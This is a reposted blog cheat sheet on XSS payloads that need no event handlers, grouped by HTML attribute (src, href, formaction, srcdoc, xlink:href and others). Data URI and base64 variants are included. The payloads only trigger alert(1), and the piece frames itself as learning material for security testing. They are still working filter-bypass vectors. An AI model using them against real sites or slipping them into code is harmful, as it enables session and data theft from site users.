zoukankan      html  css  js  c++  java
  • 【XSS技巧拓展】————24、XSS Without Event Handlers

    There are some XSS attacks that don’t rely on our XSS payload scheme. These ones are based on a local or remote resource call. What we will see is not an exhaustive list and some require UI (user interaction) but they all are meant to work in latest Firefox and Chrome browsers until date except the ones marked with an asterisk (Firefox only).

    Our default javascript payload is “javascript:alert(1)” with few exceptions. It provides some room for obfuscation in case of a filter but it can be replaced by the data URI scheme:

    “data:text/html,<script>alert(1)</script>”
    or
    data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

    Because they are useful as alternatives to the event based ones, let’s group them regarding the attribute needed to trigger the alert:

    1) (no attribute)

    <script>alert(1)</script>

    2) src

    <script src=javascript:alert(1)>
    <iframe src=javascript:alert(1)>
    <embed src=javascript:alert(1)> *

    3) href

    <a href=javascript:alert(1)>click
    <math><brute href=javascript:alert(1)>click *

    4) action

    <form action=javascript:alert(1)><input type=submit>
    <isindex action=javascript:alert(1) type=submit value=click> *

    5) formaction

    <form><button formaction=javascript:alert(1)>click
    <form><input formaction=javascript:alert(1) type=submit value=click>
    <form><input formaction=javascript:alert(1) type=image value=click>
    <form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
    <isindex formaction=javascript:alert(1) type=submit value=click> *

    6) data

    <object data=javascript:alert(1)> *

    7) srcdoc

    <iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>

    8) xlink:href

    <svg><script xlink:href=data:,alert(1)></script>
    <svg><script xlink:href=data:,alert(1) /> *
    <math><brute xlink:href=javascript:alert(1)>click *

    9) from

    <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>

        <a href=javascript:alert(1)>, with “javascript” obfuscated and styled as a fake youtube video player.

    If you know any other vector, please let me know in comments and I will update this list.

    #hack2learn

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    算法-经典趣题-寻找假银币
    一天一个 Linux 命令(3):cat 命令
    算法-经典趣题-青蛙过河
    常用数据库有哪些?
    SpringBoot2.0入门教程(一) 快速入门,项目构建HelloWorld示例
    一天一个 Linux 命令(2):ls 命令
    算法-经典趣题-爱因斯坦阶梯问题
    一天一个 Linux 命令(1):vim 命令
    什么是开发环境、测试环境、UAT环境、仿真环境、生产环境?
    算法-经典趣题-渔夫捕鱼
  • 原文地址:https://www.cnblogs.com/devi1/p/13486391.html
Copyright © 2011-2022 走看看